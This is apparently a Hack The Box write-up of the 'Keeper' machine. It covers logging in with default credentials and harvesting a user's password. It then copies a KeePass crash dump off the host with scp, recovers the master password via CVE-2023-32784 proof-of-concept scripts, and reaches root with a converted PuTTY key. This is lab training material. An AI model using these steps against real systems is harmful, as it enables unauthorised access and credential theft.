# Keeper | HTB Writeup | Aayush Agrawal

### Establishing the VPN Connection

Download the VPN connection file from HTB, after selecting the desired server (make sure no machines are active on your account at this point).

I use OpenVPN so in the terminal type the command, `openvpn <address_for_the_.ovpn_file>`

**Note**: Command to install OpenVPN in case you do not have it already: `sudo apt-get install openvpn`

It should set up a VPN connection between your host machine and the HTB server, and a small lock icon with the IP Address for the connection should pop up in the top-right notification section of your Kali system. Try running the command as the **root** user, in case the normal user account does not get a successful conn

Now proceed to search for the machine, using the search parameter `machine: keeper` in our case on the app.hackthebox.com site. Open the machine information page, and click on the **Join Machine** button.

### Running a Threader3000 Scan

Threader3000 is a Python based multi-threaded port scanner integrated with Nmap. Setting up threader3000,

In a new Terminal tab, login as the `root` user and clone the git repository into /usr/share/ using the commands,

```bash
cd /usr/share
git clone https://github.com/dievus/threader3000.git
sudo ln -s $(pwd)/threader3000.py /usr/local/bin/threader3000
```

The last command sets a symbolic link to run the threader3000 command from any directory.

Either in the same terminal or in a new tab as a normal user, run the command, `threader3000`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698422516473/25d6b841-1f3b-4b19-ada8-1a0283f3b125.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698422552605/de55ffb0-7388-4669-a6dc-1046b12f6ec6.png align="center")

Here we have to enter the IP Address for the machine, which appears after we click **Join Machine** in the htb webpage.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698422652216/e1407e07-7aa3-4daf-bd51-24b6dfffd057.png align="center")

Immediately, we get an output saying 2 ports are open. Now, going by the default port number configuration norms, `Port 22` must be `ssh` and `Port 80` must be a website serving `http` service.

The program then proceeds to ask if we want to run an Nmap scan for the 2 discovered ports, run another threader3000 scan or exit to the terminal.

We will run the Nmap scan, by entering the option as `1` ,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698422951958/3ed3975f-0a9b-4f2e-a9ae-beaa86fcb9b6.png align="center")

The Nmap scan returns with the Service Names and Service Versions running on each of the ports, as **OpenSSH 8.9p1** and **nginx 1.18.0** respectively.

### Website Lookup and Machine IP-Name Resolution

Now we will simply look up the IP address for the machine in our browser,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698423139096/19415872-cd6f-4f76-8722-9c382bca62a0.png align="center")

We are greeted with a message and a redirection link to a /rt/ endpoint, which upon direct access leads to an error page.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698423193433/54b79fa0-737f-4432-98e1-c23092245b8f.png align="center")

So now we will configure our `/etc/hosts` and setup the machine IP to be resolved to a URL, say `tickets.keeper.htb` ,

```bash
sudo nano /etc/hosts
```

We will login as root user to be able to edit the `/etc/hosts` file. Following the pre-existing IP-Name Resolution format, we enter the machine IP Address and the names, `keeper.htb` and `tickets.keeper.htb` and save the entry using shortcuts, `Ctrl+S` &gt; `Ctrl+X` .

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698423750433/e90bae2c-e488-4adf-bf80-975c9a068eb8.png align="center")

Once done we can access the website hosted on the machine, through our browser over the URL, `http://tickets.keeper.htb` and it leads us to a Login page,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698423926161/0e5d59b7-7b8e-402b-82bf-f3a418e93866.png align="center")

### Service Version Vulnerability Lookup & Default Passwords

We can see that the Website seems to be a Request Tracker Service of Version 4.4.4+dfsg-2ubuntu1. We can look it up in the Exploit DB database at [https://www.exploit-db.com/](https://www.exploit-db.com/) using the "request tracker" keywords,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698428125011/8d52a97d-89f6-406d-a49f-5154228d28b7.png align="center")

The Second result seems to be a direct hit, but it discusses an older version with a '**Show Pending**' Vulnerability SQL Injection for version number **4.0.10**. This means that the vulnerability is most likely patched in the version we have to work with, i.e., **4.4.4**.

As seen above, there is a login panel on the homepage, we can look for default credentials for the service,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698429985085/66f0dd9d-12e4-40e2-9aed-369068c1e48d.png align="center")

The second link for **Best Practical** coincides with the banner on our login panel, so we will look into the forum,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698430052450/287cd160-81be-480e-b546-181c190af794.png align="center")

We can gather from the first 2 discussions, that the Website contains,

* A default password: `password`
    
* A root user: `root`
    
* A database table maintaining the user ids and passwords: `Users`
    

We can simply try the combination of `root@password` in the login panel,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698425879854/30707714-5005-4262-81e3-7cfe15ea5dd2.png align="center")

We get a successful login,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698430292514/4b276f0a-9aeb-42b4-a60d-24e68067ab3e.png align="center")

### Logged in User Account Navigation

Looking into the different navigation bar menus, the **Tickets** sub-menu grabs a=our attention,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698430427646/fc039996-8437-42b8-b4d8-2e3954ab7558.png align="center")

It leads us to recently viewed tickets, so we follow the latest raised ticket link,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698430625360/968a0ac7-1327-49ff-93e0-745630c53f63.png align="center")

We can see the ticket was raised by a user, `lnorgaard` for the Windows Keepass Client,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698430695921/5d40c80f-8340-494d-ab04-bee9ddba4866.png align="center")

The ticket description tells us that it contains a **crashdump** from the **keepass** client, and the Respondant seems to have then saved the file to their **home directory.**

### Keepass Crashdump Vulnerability

SInce it has been mentioned clearly that the Crashdump was saved by the Service Associate for the Ticket Management System, it could be pointing towards a **Keepass Crashdump Vulnerability.**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698431075459/a33a3585-204d-4987-8dc0-5f29ec2eab94.png align="center")

Googling the exploit description tells us that there is actually an exploit from a couple months back that allows retrieval of cleartext master password, registered under the **CVE-2023-32784**.

### lnorgaard Account

Coming back to the website, we see that there are other options in the navigation bas, one of them being `Admin` which allows us to look at the table for existing users,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698431299111/bfab786f-2aac-45e0-bac9-2492a3b1c4dd.png align="center")

Accessing the page shows us 2 existing users,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698431328999/fd160344-5829-411f-9bb8-1cef4aaefd19.png align="center")

we've already accessed the `root` user, so exploring the `lnorgaard` account gives us,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698431480454/1994ef60-885c-4565-b252-b6b49c7b2903.png align="center")

* The username has some special characters: `Lise Nørgaard`
    
* The password seems to be set to `Welcome2023!`
    

When we look up the name `Lise Nørgaard`, we come to find out that this was a renowned Danish journalist.

We can try logging into the Request Tracking System using the credentials, but it would be better to try an `ssh` login instead.

### Low Privilege SSH Login

We can try an `ssh` login for the user `lnorgaard` through our host machine in the terminal, using the password as `Welcome2023!`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698431952976/1118f2a8-d20d-4c48-8856-49a651443654.png align="center")

We get a successful low privilege user shell login.

We will be running some basic commands to figure out the **userid and hostname**, the **sudo executable commands for the user** and the **listing of directories in the user account** respectively,

```bash
id && hostname
sudo -l
ls -la
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698432269691/7e695cc6-4592-45f6-9b59-3171241d66c6.png align="center")

We get the following information,

* `uid=1000(lnorgaard) hostname=keeper`
    
* The user `lnorgaard` cannot run sudo commands on the host
    
* There is a `user.txt` file, which contains our user flag for the machine. :D
    

### Crash Dump File

We see that there is a `.zip` file by the name of `RT30000.zip`.

Unzipping that file within the shell with the command, `unzip RT30000.zip` gives us a `.dmp` file which is likely the crash dump file mentioned earlier in the request ticket for `lnorgaard` .

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698432740439/c27a4509-b8a8-4ee8-83de-724a32c432aa.png align="center")

It also holds a `passcodes.kdbx` file.

We can look into the 2 files better by transferring them onto our host machine. For this,

* Check of `ssh.service` is active and running
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698432966860/5b886037-a2c3-4c5a-94f8-cb929205b3ad.png align="center")
    
    We need to check for the port number on which the ssh service is listening, for this we can go to the `/etc/ssh/ssd_config` file on our machine and look up the Port Number mentioned in the first few lines of the file. To see if there is an active listener on the mentioned port number, we can run the command,
    
* ```bash
      netstat -ano | grep <port_number>
    ```
    
    If there is an active listener, it should return something along the lines of,
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698433604585/4fa31802-44f6-4d78-858a-2f9026f2d948.png align="center")
    
    We can use the scp command (Secure copy protocol) to transfer the files to the host machine, we will run the command in the low privilege shell,
    
* ```bash
      scp -P <ssh_listener_port_number> /home/lnorgaard/KeePassDumpFull.dmp <host_machine_username>@<vpn_tunnel_IP_Address>:<desired_directory_on_host_machine>
      scp -P <ssh_listener_port_number> /home/lnorgaard/passcodes.kdbx <host_machine_username>@<vpn_tunnel_IP_Address>:<desired_directory_on_host_machine>
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698438781609/e41208dc-1c03-49fd-903c-2289c1eaf589.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698438833282/ae9b4fab-5232-4447-b5ac-0d8f8f43a93a.png align="center")
    
    We can see that we have successfully transfered the files to our host machine.
    

### Accessing the Dump and Passcode files

* We can use the `kpcli` command to access the `passcodes.kdbx` file,
    
* ```bash
    kpcli --kdb=passcodes.kdbx
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698439059433/533149d4-5830-4b8c-8612-46542acbc521.png align="center")
    
    It asks us for the password, here we can utilize the KeePass vulnerability that we saw earlier under the **CVE-2023-32784**.
    
* We will be referencing the github repository: [https://github.com/CMEPW/keepass-dump-masterkey](https://github.com/CMEPW/keepass-dump-masterkey)
    
* We can copy the `poc.py` file code into a poc.py file on our host machine at the desired location. Terminate the currently running `kpcli` command and run,
    
* ```bash
    python3 <address_for_poc.py_file> -d <address_for_KeePassDump.dmp_file>
    ```
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698439671909/186b97e6-dbf7-42f8-a1a0-ae97815fd96f.png align="center")
    
    The repository suggests that the first character cannot be found in the dump, while the second character has a few guessing possibilities. We'll use another script to verify our results. We'll use the github repo: [https://github.com/z-jxy/keepass\_dump](https://github.com/z-jxy/keepass_dump).
    
* We'll copy the code from `keepass_dump.py` and store it into another file say, `poc1.py`
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698441016310/f486e59b-727e-4440-b3b5-2de29c6aaa24.png align="center")
    
    From the above 2 scripts, we get the following decisive outputs,
    
* `●Mdgr●d med fl●de`
    
* `dgr<{d, e}> med flde`
    
* In the second output, we seem to be getting 2 options between d & e. Filtering out the common characters between the 2, we get;
    
* `dgrd med flde`
    
* Given that the username was inspired from danish origins, it will be safe to say that this password has similar origins. Looking up this new string, online we find,
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698441436243/59fa1ce0-9f32-4678-a72a-86915facefae.png align="center")
    
    It is immediately obvious that the password is a small case interpretation of the danish dish mentioned above, following the first link, we will copy the complete name in small case,
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698441519203/f98208a9-93f7-48fa-824f-2dc2f03f3912.png align="center")
    
    `rødgrød med fløde`
    
* rerunning the command with this as the password,
    
* ```bash
    kpcli --kdb=passcodes.kdbx
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698441735162/e82a59dc-5bae-429e-9eed-04a8bc593466.png align="center")
    
    we successfully login to the db!
    

### Getting the root access

* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698441876437/c1a8fe7d-ca39-4f91-8cc4-5844181545a4.png align="center")
    
    We run the above commands and go into the `keeper.htb` entry.
    
* We can see a root password, which if we copy and paste into a text editor, it gives us, `F4><3K0nd!`. We can try this for the root login. It also seems to have a Putty ssh key.
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698442125656/32550ed3-cd88-4e62-8cd0-623c7b592767.png align="center")
    
    The login attempt results into a failure.
    
* We can try to convert the statement, `PuTTY-User-Key` into ssh private key. Looking up stackoverflow, i found that we need to use `puttygen` tool.
    
* For that we will first have to copy the entire key file contents
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698442579120/517bcc77-01c1-4c2f-9de3-dca0fc41e6c4.png align="center")
    
    Copy the contents into a .ppk file on the host machine and save it.
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698442712057/9f2e3f69-230c-4e2e-b9eb-b40d5477d4e2.png align="center")
    
    We will use the following command,
    
* ```bash
    puttygen server.ppk -O private-openssh -o id_rsa
    ```
    
    We generated the private key file under the name of **id\_rsa**.
    
* We will change privileges to `chmod 400 id_rsa`
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698443357172/f7d39ccd-f829-4cd2-8749-c57d646482c8.png align="center")
    
    Then we proceed to ssh login into the root account of the target machine,
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1698443448018/5e9c6cad-a8ee-48e5-91f9-bffe83807aec.png align="center")
    
* Upon using the `ls -la` command, we can see that the root.txt file with the root flag is right infront of us. :D
    
* **Reference Video**: [https://www.youtube.com/watch?v=i\_deLPpPVQE](https://www.youtube.com/watch?v=i_deLPpPVQE)